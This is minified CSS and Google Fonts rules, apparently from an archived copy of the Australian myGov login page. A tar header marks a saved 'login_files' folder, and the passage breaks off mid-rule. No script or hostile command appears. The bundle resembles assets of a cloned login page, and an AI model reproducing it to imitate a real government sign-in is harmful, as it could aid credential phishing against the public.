.success-msg-text>span>strong:before,#inner-content .success-msg .success-msg-text>span>strong:before,.unauth .success-msg .success-msg-text>span>strong:before{background-image:url("../icons/mobile-success-icon.svg")}}@media screen and (max-width:767px){.wrapper-mapwap .error-msg .error-msg-text>span>strong,#inner-content .error-msg .error-msg-text>span>strong,.unauth .error-msg .error-msg-text>span>strong{background-color:#dc3548}.wrapper-mapwap .error-msg .error-msg-text>span>strong:before,#inner-content .error-msg .error-msg-text>span>strong:before,.unauth .error-msg .error-msg-text>span>strong:before{background-image:url("../icons/mobile-error-icon.svg")}}.wrapper-mapwap #security-codes-info,#inner-content #security-codes-info,.unauth #security-codes-info{font-size:16px;font-size:1rem;border:0;margin:0;padding:0;background-color:unset;color:#000}.wrapper-mapwap .hasError,#inner-content .hasError,.unauth .hasError{margin:0 0 8px;margin:0 0 .5rem;border-left:none;padding-left:0}.wrapper-mapwap .hasError .form-helper-message,#inner-content .hasError .form-helper-message,.unauth .hasError .form-helper-message{font-size:14px;font-size:.875rem;padding-left:22px;padding-left:1.375rem;font-weight:500;position:relative}.wrapper-mapwap .hasError .form-helper-message::after,#inner-content .hasError .form-helper-message::after,.unauth .hasError .form-helper-message::after{height:16px;height:1rem;width:16px;width:1rem;min-width:16px;min-width:1rem;top:2px;top:.125rem;content:"";background-image:url("../icons/inline-error-icon.svg");background-size:contain;display:block;position:absolute;left:0}.wrapper-mapwap .hasError p,#inner-content .hasError p,.unauth .hasError p{line-height:1.14286;margin-top:0}.wrapper-mapwap .hasError span.hasError p,#inner-content .hasError span.hasError p,.unauth .hasError span.hasError p{margin-top:0}.wrapper-mapwap .digital-id-login-option-container,#inner-content .digital-id-login-option-container,.unauth .digital-id-login-option-container{background-color:unset;border:0;margin-top:0;overflow:unset}.wrapper-mapwap .digital-id-login-option-container .inner-options,#inner-content .digital-id-login-option-container .inner-options,.unauth .digital-id-login-option-container .inner-options{margin-left:0;margin-right:0;padding-bottom:0}.wrapper-mapwap .digital-id-login-option-container .external-links-zone,#inner-content .digital-id-login-option-container .external-links-zone,.unauth .digital-id-login-option-container .external-links-zone{margin-top:0}.wrapper-mapwap .create-account-text,.wrapper-mapwap .create-account-link,#inner-content .create-account-text,#inner-content .create-account-link,.unauth .create-account-text,.unauth .create-account-link{font-size:16px;font-size:1rem}.wrapper-mapwap .create-account-text,#inner-content .create-account-text,.unauth .create-account-text{padding-left:25px;padding-left:1.5625rem;margin-top:24px;margin-top:1.5rem;margin-bottom:48px;margin-bottom:3rem;line-height:1.5;position:relative}.wrapper-mapwap .create-account-text:before,#inner-content .create-account-text:before,.unauth .create-account-text:before{width:16px;width:1rem;min-width:16px;min-width:1rem;height:16px;height:1rem;top:4px;top:.25rem;content:"";display:block;background:no-repeat center;background-image:url(../icons/icon-blugov-info.svg);background-size:contain;position:absolute;left:0}.wrapper-mapwap .button-container,#inner-content .button-container,.unauth .button-container{margin-top:30px;margin-top:1.875rem}.wrapper-mapwap .button-container a.button-minor.button,.wrapper-mapwap .button-container .button-minor,#inner-content .button-container a.button-minor.button,#inner-content .button-container .button-minor,.unauth .button-container a.button-minor.button,.unauth .button-container .button-minor{color:#183052;border-color:#183052}.wrapper-mapwap .button-container a.button-minor.button:hover,.wrapper-mapwap .button-container .button-minor:hover,#inner-content .button-container a.button-minor.button:hover,#inner-content .button-container .button-minor:hover,.unauth .button-container a.button-minor.button:hover,.unauth .button-container .button-minor:hover{color:#fff;background-color:#254a7e;border-color:transparent}.wrapper-mapwap .button-container a.button-minor.button:focus,.wrapper-mapwap .button-container .button-minor:focus,#inner-content .button-container a.button-minor.button:focus,#inner-content .button-container .button-minor:focus,.unauth .button-container a.button-minor.button:focus,.unauth .button-container .button-minor:focus{color:#183052;background-color:#fff;border-color:#183052}@media screen and (max-width:640px){.wrapper-mapwap .button-container,#inner-content .button-container,.unauth .button-container{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.wrapper-mapwap .button-container .button,#inner-content .button-container .button,.unauth .button-container .button{margin:auto auto 10px;margin:auto auto .625rem;width:100%}}.wrapper-mapwap .recovery,#inner-content .recovery,.unauth .recovery{margin-bottom:30px;margin-bottom:1.875rem}.wrapper-mapwap .recovery a,.wrapper-mapwap .recovery a.anchor,#inner-content .recovery a,#inner-content .recovery a.anchor,.unauth .recovery a,.unauth .recovery a.anchor{font-size:16px;font-size:1rem}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form p[role="alert"],#inner-content form span[role="alert"],#inner-content form p[role="alert"],.unauth form span[role="alert"],.unauth form p[role="alert"]{margin-top:8px;margin-top:.5rem}.wrapper-mapwap form label,#inner-content form label,.unauth form label{font-size:16px;font-size:1rem;font-weight:600;color:#000}.wrapper-mapwap form a[aria-expanded],#inner-content form a[aria-expanded],.unauth form a[aria-expanded]{font-size:16px;font-size:1rem}.wrapper-mapwap .digital-id-login-card,#inner-content .digital-id-login-card,.unauth .digital-id-login-card{margin-bottom:30px;margin-bottom:1.875rem}.wrapper-mapwap .hr-word,#inner-content .hr-word,.unauth .hr-word{height:auto;border-bottom:0 none;position:relative}.wrapper-mapwap .hr-word .draw-circle,#inner-content .hr-word .draw-circle,.unauth .hr-word .draw-circle{padding-top:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;background-color:#fff;position:relative}.wrapper-mapwap .hr-word:before,#inner-content .hr-word:before,.unauth .hr-word:before{height:1px;height:.0625rem;content:"";background-color:#c5c5c5;width:100%;top:-webkit-calc(50% - .5px);top:calc(50% - .5px);left:0;position:absolute}.wrapper-mapwap .digital-id-login-card-wrapper .hr-word,#inner-content .digital-id-login-card-wrapper .hr-word,.unauth .digital-id-login-card-wrapper .hr-word{margin-top:0;margin-bottom:0}.wrapper-mapwap .terms-service-text,#inner-content .terms-service-text,.unauth .terms-service-text{font-size:16px;font-size:1rem;margin-top:12px;margin-top:.75rem;margin-bottom:24px;margin-bottom:1.5rem}.wrapper-mapwap .password-group:focus-within button.showPassword,#inner-content .password-group:focus-within button.showPassword,.unauth .password-group:focus-within button.showPassword{border-width:2px;border-width:.125rem;border-left-width:0}.wrapper-mapwap button.showPassword,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap label button.showPassword,#inner-content button.showPassword,#inner-content .input-group button.showPassword,#inner-content label button.showPassword,.unauth button.showPassword,.unauth .input-group button.showPassword,.unauth label button.showPassword{padding:11px 17px 12px 20px;padding:.6875rem 1.0625rem .75rem 1.25rem;height:48px;height:3rem;top:auto;bottom:0}.wrapper-mapwap button.showPassword,.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap .input-group button.showPassword:hover,.wrapper-mapwap label button.showPassword,.wrapper-mapwap label button.showPassword:hover,#inner-content button.showPassword,#inner-content button.showPassword:hover,#inner-content .input-group button.showPassword,#inner-content .input-group button.showPassword:hover,#inner-content label button.showPassword,#inner-content label button.showPassword:hover,.unauth button.showPassword,.unauth button.showPassword:hover,.unauth .input-group button.showPassword,.unauth .input-group button.showPassword:hover,.unauth label button.showPassword,.unauth label button.showPassword:hover{border-top-right-radius:2px;border-top-right-radius:.125rem;border-bottom-right-radius:2px;border-bottom-right-radius:.125rem;border-top-left-radius:0;border-bottom-right-radius:0}.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap button.showPassword:focus,.wrapper-mapwap button.showPassword,.wrapper-mapwap .input-group button.showPassword:hover,.wrapper-mapwap .input-group button.showPassword:focus,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap label button.showPassword:hover,.wrapper-mapwap label button.showPassword:focus,.wrapper-mapwap label button.showPassword,#inner-content button.showPassword:hover,#inner-content button.showPassword:focus,#inner-content button.showPassword,#inner-content .input-group button.showPassword:hover,#inner-content .input-group button.showPassword:focus,#inner-content .input-group button.showPassword,#inner-content label button.showPassword:hover,#inner-content label button.showPassword:focus,#inner-content label button.showPassword,.unauth button.showPassword:hover,.unauth button.showPassword:focus,.unauth button.showPassword,.unauth .input-group button.showPassword:hover,.unauth .input-group button.showPassword:focus,.unauth .input-group button.showPassword,.unauth label button.showPassword:hover,.unauth label button.showPassword:focus,.unauth label button.showPassword{border-width:1px;border-width:.0625rem;border-color:#000;outline:0}.wrapper-mapwap:focus-within button.showPassword,.wrapper-mapwap .input-group:focus-within button.showPassword,.wrapper-mapwap label:focus-within button.showPassword,#inner-content:focus-within button.showPassword,#inner-content .input-group:focus-within button.showPassword,#inner-content label:focus-within button.showPassword,.unauth:focus-within button.showPassword,.unauth .input-group:focus-within button.showPassword,.unauth label:focus-within button.showPassword{padding-top:10px;padding-top:.625rem;padding-bottom:11px;padding-bottom:.6875rem;padding-right:16px;padding-right:1rem}.wrapper-mapwap .input-group.hasError input:focus,.wrapper-mapwap label.hasError input:focus,#inner-content .input-group.hasError input:focus,#inner-content label.hasError input:focus,.unauth .input-group.hasError input:focus,.unauth label.hasError input:focus{border-width:2px;border-width:.125rem;outline-color:#dc3548}.wrapper-mapwap .input-group+.input-group,#inner-content .input-group+.input-group,.unauth .input-group+.input-group{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap .input-group.hasError input,.wrapper-mapwap label.hasError input,.wrapper-mapwap div.hasError input,.wrapper-mapwap .code-container.hasError input,#inner-content .input-group.hasError input,#inner-content label.hasError input,#inner-content div.hasError input,#inner-content .code-container.hasError input,.unauth .input-group.hasError input,.unauth label.hasError input,.unauth div.hasError input,.unauth .code-container.hasError input{border:2px solid #dc3548;border:.125rem solid #dc3548;outline-color:#dc3548}.wrapper-mapwap .input-group.hasError button.showPassword.anchor,.wrapper-mapwap label.hasError button.showPassword.anchor,.wrapper-mapwap div.hasError button.showPassword.anchor,.wrapper-mapwap .code-container.hasError button.showPassword.anchor,#inner-content .input-group.hasError button.showPassword.anchor,#inner-content label.hasError button.showPassword.anchor,#inner-content div.hasError button.showPassword.anchor,#inner-content .code-container.hasError button.showPassword.anchor,.unauth .input-group.hasError button.showPassword.anchor,.unauth label.hasError button.showPassword.anchor,.unauth div.hasError button.showPassword.anchor,.unauth .code-container.hasError button.showPassword.anchor{border-width:2px;border-width:.125rem;padding-top:10px;padding-top:.625rem;padding-bottom:11px;padding-bottom:.6875rem;padding-right:16px;padding-right:1rem;border-color:#dc3548}.wrapper-mapwap .input-group.hasError button.showPassword.anchor:hover,.wrapper-mapwap .input-group.hasError button.showPassword.anchor:focus,.wrapper-mapwap label.hasError button.showPassword.anchor:hover,.wrapper-mapwap label.hasError button.showPassword.anchor:focus,.wrapper-mapwap div.hasError button.showPassword.anchor:hover,.wrapper-mapwap div.hasError button.showPassword.anchor:focus,.wrapper-mapwap .code-container.hasError button.showPassword.anchor:hover,.wrapper-mapwap .code-container.hasError button.showPassword.anchor:focus,#inner-content .input-group.hasError button.showPassword.anchor:hover,#inner-content .input-group.hasError button.showPassword.anchor:focus,#inner-content label.hasError button.showPassword.anchor:hover,#inner-content label.hasError button.showPassword.anchor:focus,#inner-content div.hasError button.showPassword.anchor:hover,#inner-content div.hasError button.showPassword.anchor:focus,#inner-content .code-container.hasError button.showPassword.anchor:hover,#inner-content .code-container.hasError button.showPassword.anchor:focus,.unauth .input-group.hasError button.showPassword.anchor:hover,.unauth .input-group.hasError button.showPassword.anchor:focus,.unauth label.hasError button.showPassword.anchor:hover,.unauth label.hasError button.showPassword.anchor:focus,.unauth div.hasError button.showPassword.anchor:hover,.unauth div.hasError button.showPassword.anchor:focus,.unauth .code-container.hasError button.showPassword.anchor:hover,.unauth .code-container.hasError button.showPassword.anchor:focus{background-color:#dc3548;border-color:#dc3548;color:#fff;outline:0}.wrapper-mapwap .main-block{margin-top:65px;margin-top:4.0625rem}@media screen and (min-width:640px){.wrapper-mapwap .main-block{padding:0 70px;padding:0 4.375rem}.wrapper-mapwap .main-block .unauth{padding:0}}html{font-size:100%}html body{font-size:18px;font-size:1.125rem}html .unauth .button-digital-identity,html .unauth .button-main,html #inner-content .button-main,html #modal-btn,html .button-container .button-main{border-radius:5px;border-radius:.3125rem;height:48px;height:3rem;color:#172f50;background-color:#99e1f3;border:0}html .unauth .button-digital-identity:hover,html .unauth .button-main:hover,html #inner-content .button-main:hover,html #modal-btn:hover,html .button-container .button-main:hover{color:#fff;background-color:#254a7e}html .unauth .button-digital-identity:focus,html .unauth .button-main:focus,html #inner-content .button-main:focus,html #modal-btn:focus,html .button-container .button-main:focus{outline-width:2px;outline-width:.125rem;color:#172f50;background-color:#99e1f3}html .unauth a.anchor,html .unauth button.anchor,html .external-links-zone a,html .form-terms-link,html a.button-back,html .create-account-link,html .help-info,html .help-info-button,html .wrapper-mapwap .help-info,.wrapper-mapwap html .help-info,html #inner-content .help-info,#inner-content html .help-info,html .unauth .help-info,.unauth html .help-info,html .error-msg-text a,html .accordion-link{color:#254a7e}html .unauth a.anchor:hover,html .unauth button.anchor:hover,html .external-links-zone a:hover,html .form-terms-link:hover,html a.button-back:hover,html .create-account-link:hover,html .help-info:hover,html .help-info-button:hover,html .wrapper-mapwap .help-info:hover,.wrapper-mapwap html .help-info:hover,html #inner-content .help-info:hover,#inner-content html .help-info:hover,html .unauth .help-info:hover,.unauth html .help-info:hover,html .error-msg-text a:hover,html .accordion-link:hover{background-color:#254a7e;color:#fff}html .unauth a.anchor:focus,html .unauth button.anchor:focus,html .external-links-zone a:focus,html .form-terms-link:focus,html a.button-back:focus,html .create-account-link:focus,html .help-info:focus,html .help-info-button:focus,html .wrapper-mapwap .help-info:focus,.wrapper-mapwap html .help-info:focus,html #inner-content .help-info:focus,#inner-content html .help-info:focus,html .unauth .help-info:focus,.unauth html .help-info:focus,html .error-msg-text a:focus,html .accordion-link:focus{outline:2px solid #183052;outline:.125rem solid #183052;color:#254a7e;background-color:unset}ul.account-options{margin:23.5px -12.5px 22.5px;margin:1.46875rem -0.78125rem 1.40625rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;list-style:none;padding:0}ul.account-options>li{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap}ul.account-options>li .item{border:1px solid #d9d9d6;border:.0625rem solid #d9d9d6;border-radius:5px;border-radius:.3125rem;padding:25px 28px 50px;padding:1.5625rem 1.75rem 3.125rem;margin:12.5px;margin:.78125rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto}ul.account-options>li .item h2{font-size:24px;font-size:1.5rem;margin-bottom:16px;margin-bottom:1rem;margin-top:0;line-height:1.33333;font-weight:500}ul.account-options>li .item .button-container{margin-top:auto;margin-bottom:0;text-align:left}ul.account-options>li .item .button-container>*{padding:7px 32px;padding:.4375rem 2rem;min-height:48px;min-height:3rem;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:auto;height:auto;line-height:1}ul.account-options>li:not(:last-child) .item{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1}ul.account-options>li:not(:last-child):after{margin:12.5px;margin:.78125rem;font-size:22px;font-size:1.375rem;padding:13px 12px;padding:.8125rem .75rem;min-width:53px;min-width:3.3125rem;content:"OR";border-radius:50%;-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;line-height:1.31818;font-weight:500;background-color:#f1f1f1}@media screen and (min-width:768px){ul.account-options>li:last-child{-webkit-box-flex:0;-webkit-flex:0 1 auto;-ms-flex:0 1 auto;flex:0 1 auto;width:-webkit-calc(50% - 39px);width:calc(50% - 39px);width:-webkit-calc(50% - 2.4375rem);width:calc(50% - 2.4375rem)}}@media screen and (min-width:768px){ul.account-options>li{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap}}@media screen and (min-width:768px){ul.account-options{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap}}.di-link h1{font-size:40px;font-size:2.5rem;margin-bottom:19px;margin-bottom:1.1875rem;line-height:1.325;margin-top:0}.di-link p{line-height:1.55556;margin-top:0}.di-connected-success button{width:50%}form>*:first-child{margin-top:17px;margin-top:1.0625rem}form legend.non-heading{font-size:16px;font-size:1rem;padding-bottom:12px;padding-bottom:.75rem;margin-bottom:-9px;margin-bottom:-0.5625rem}form .new-password-group .input-group{margin-bottom:24px;margin-bottom:1.5rem}form input[type="radio"]+label{padding-left:44px;padding-left:2.75rem;margin-left:-14px;margin-left:-0.875rem;margin-bottom:0;font-weight:400;width:-webkit-calc(100%+14px);width:calc(100%+14px)}.wrapper-mapwap .button-container,.unauth .button-container{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap .button-container .button,.unauth .button-container .button{height:48px;height:3rem;margin-right:12px;margin-right:.75rem;line-height:1}.wrapper-mapwap .button-container .button:hover,.unauth .button-container .button:hover{text-decoration:none}.wrapper-mapwap .button-container .button:focus,.unauth .button-container .button:focus{outline-width:2px;outline-width:.125rem}.wrapper-mapwap .button-container .button:last-child,.unauth .button-container .button:last-child{margin-right:0}.wrapper-mapwap .hasInfo,.unauth .hasInfo{border-left-color:#254a7e}.wrapper-mapwap .hasInfo a,.unauth .hasInfo a{color:#254a7e}.wrapper-mapwap #resetPasswordPair .hasError span.hasError p,.unauth #resetPasswordPair .hasError span.hasError p{margin-top:0}.wrapper-mapwap #resetPasswordPair p:last-of-type,.unauth #resetPasswordPair p:last-of-type{margin-bottom:0}.wrapper-mapwap #resetPasswordPair ul,.unauth #resetPasswordPair ul{margin-top:8px;margin-top:.5rem;margin-bottom:13px;margin-bottom:.8125rem}.wrapper-mapwap #resetPasswordPair ul li,.unauth #resetPasswordPair ul li{margin-bottom:0}.wrapper-mapwap #resetPasswordPair ul,.wrapper-mapwap #resetPasswordPair ul li,.unauth #resetPasswordPair ul,.unauth #resetPasswordPair ul li{line-height:1.55556}.wrapper-mapwap #resetPasswordPair .help-info-group+#security-codes-info+*,.unauth #resetPasswordPair .help-info-group+#security-codes-info+*{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap #resetPasswordPair #security-codes-info,.unauth #resetPasswordPair #security-codes-info{font-size:inherit}.wrapper-mapwap #resetPasswordPair #security-codes-info p:first-of-type,.unauth #resetPasswordPair #security-codes-info p:first-of-type{margin-top:9px;margin-top:.5625rem}.wrapper-mapwap form input[type="radio"]:checked+label{font-weight:400}.wrapper-mapwap form input[type="radio"]:checked+label:after{box-shadow:0 0 0 2px #254a7e;box-shadow:0 0 0 .125rem #254a7e;background-color:#254a7e}.wrapper-mapwap form input[type="radio"]:checked+label:before{display:none}.wrapper-mapwap form input[type="radio"]+label{font-size:16px;font-size:1rem}.wrapper-mapwap form input[type="radio"]+label:before{display:none}.wrapper-mapwap form input[type="radio"]+label:after{width:10px;width:.625rem;height:10px;height:.625rem;left:19px;left:1.1875rem;box-shadow:0 0 0 2px #000;box-shadow:0 0 0 .125rem #000;border:3px solid #fff;border:.1875rem solid #fff;background-color:transparent;top:0;bottom:0;margin:auto;position:absolute;display:block;border-radius:50%;box-sizing:content-box;content:""}.wrapper-mapwap form input[type="radio"]:focus+label{outline:2px solid #254a7e;outline:.125rem solid #254a7e}.unauth-grid{width:100%}.unauth-grid .unauth-grid-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.unauth-grid .unauth-grid-row .header-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.unauth-grid .unauth-grid-row .header-links a{font-size:16px;font-size:1rem;color:#000}.unauth-grid .unauth-grid-row .header-links a:hover{color:#fff;background-color:#254a7e}img#unauth-govt-crest{width:100%;height:auto}.unauth-govt-crest__link{width:174px;width:10.875rem}@media screen and (min-width:640px){.unauth-govt-crest__link{width:236px;width:14.75rem}}@media screen and (min-width:1024px){.unauth-govt-crest__link{width:328px;width:20.5rem;height:auto}}.brand-rainbow{display:none}header.mgvEnhanceHeader{background-color:#66d3ee;height:auto;min-height:0;border:0 none;color:#000}header.mgvEnhanceHeader[role="banner"]>.wrapper{min-height:0;padding:0}header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding:16px 20px;padding:1rem 1.25rem;min-height:69.77px;min-height:4.36063rem;height:auto}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1360px;width:85rem}}@media screen and (min-width:640px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{min-height:83.24px;min-height:5.2025rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding:50px 40px;padding:3.125rem 2.5rem;min-height:192.4px;min-height:12.025rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower,.unauth footer[role="contentinfo"] .footer-lower{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}}html footer[role="contentinfo"]>.wrapper,.unauth footer[role="contentinfo"]>.wrapper{padding-right:0;padding-left:0}html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding-bottom:40px;padding-bottom:2.5rem}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1360px;width:85rem}}html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:56px;height:3.5rem;max-width:322px;max-width:20.125rem;margin-bottom:46px;margin-bottom:2.875rem}html footer[role="contentinfo"] .footer-lower-logo img,.unauth footer[role="contentinfo"] .footer-lower-logo img{height:100%}html footer[role="contentinfo"] .footer-lower-logo>a,.unauth footer[role="contentinfo"] .footer-lower-logo>a{display:inline}@media screen and (min-width:576px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:54px;height:3.375rem;max-width:308px;max-width:19.25rem;margin-right:32px;margin-right:2rem;margin-bottom:0}}@media screen and (min-width:1200px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}mygov/app/login_files/css000064400000037222151676702570011520 0ustar00/* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ 